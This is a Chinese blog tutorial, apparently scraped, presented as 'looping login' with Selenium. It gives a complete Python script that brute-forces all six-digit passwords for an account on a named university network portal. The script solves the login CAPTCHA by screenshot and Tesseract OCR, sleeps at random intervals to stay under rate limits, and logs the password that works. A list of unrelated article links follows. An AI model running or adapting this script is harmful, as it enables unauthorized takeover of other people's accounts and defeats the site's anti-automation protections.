python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
使用PYTHON创建XML文档
Mar 01 Python
仅用50行代码实现一个Python编写的计算器的教程
Apr 17 Python
在Django中进行用户注册和邮箱验证的方法
May 09 Python
python实现内存监控系统
Mar 07 Python
OpenCV HSV颜色识别及HSV基本颜色分量范围
Mar 22 Python
python elasticsearch从创建索引到写入数据的全过程
Aug 04 Python
python应用文件读取与登录注册功能
Sep 23 Python
python如何将两个txt文件内容合并
Oct 18 Python
对Tensorflow中Device实例的生成和管理详解
Feb 04 Python
Python爬虫爬取百度搜索内容代码实例
Jun 05 Python
通俗讲解python 装饰器
Sep 07 Python
Python中Selenium模块的使用详解
Oct 09 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
PHP获取某个月最大天数(最后一天)的方法
2015/07/29 PHP
PHP实现简单注册登录系统
2020/12/28 PHP
jQuery 处理表单元素的代码
2010/02/15 Javascript
JavaScript的类型简单说明
2010/09/03 Javascript
JavaScript 注册事件代码
2011/01/27 Javascript
jquery remove方法应用详解
2012/11/22 Javascript
js 程序执行与顺序实现详解
2013/05/13 Javascript
js中的数组Array定义与sort方法使用示例
2013/08/29 Javascript
Nodejs初级阶段之express
2015/11/23 NodeJs
Javascript发送AJAX请求实例代码
2016/08/21 Javascript
JS访问DOM节点方法详解
2016/11/29 Javascript
jQuery联动日历的实例解析
2016/12/02 Javascript
微信小程序 Tab页切换更新数据
2017/01/05 Javascript
vuejs实现本地数据的筛选分页功能思路详解
2017/11/15 Javascript
JavaScript类的继承方法小结【组合继承分析】
2018/07/11 Javascript
layui表格数据复选框回显设置方法
2019/09/13 Javascript
解决vue初始化项目一直停在downloading template的问题
2020/11/09 Javascript
[49:05]Newbee vs TNC 2018国际邀请赛小组赛BO2 第一场 8.16
2018/08/17 DOTA
Python采用Django制作简易的知乎日报API
2016/08/03 Python
详解python中list的使用
2019/03/15 Python
使用Python进行体育竞技分析(预测球队成绩)
2019/05/16 Python
python如何以表格形式打印输出的方法示例
2019/06/21 Python
Python3合并两个有序数组代码实例
2020/08/11 Python
Python中使用aiohttp模拟服务器出现错误问题及解决方法
2020/10/31 Python
Python应用自动化部署工具Fabric原理及使用解析
2020/11/30 Python
CSS3制作漂亮的照片墙的实现代码
2016/06/08 HTML / CSS
印尼购物网站:iLOTTE
2019/10/16 全球购物
DC Shoes澳大利亚官方网上商店:购买DC鞋子
2019/10/25 全球购物
销售主管的自我评价分享
2014/01/03 职场文书
学生出入校管理制度
2014/01/16 职场文书
经典婚礼主持词
2014/03/13 职场文书
2014年国庆节演讲稿
2014/09/02 职场文书
多人股份制合作协议书
2016/03/19 职场文书
Python网络编程之ZeroMQ知识总结
2021/04/25 Python
Vue3.0中Ref与Reactive的区别示例详析
2021/07/07 Vue.js
Nginx报404错误的详细解决方法
2022/07/23 Servers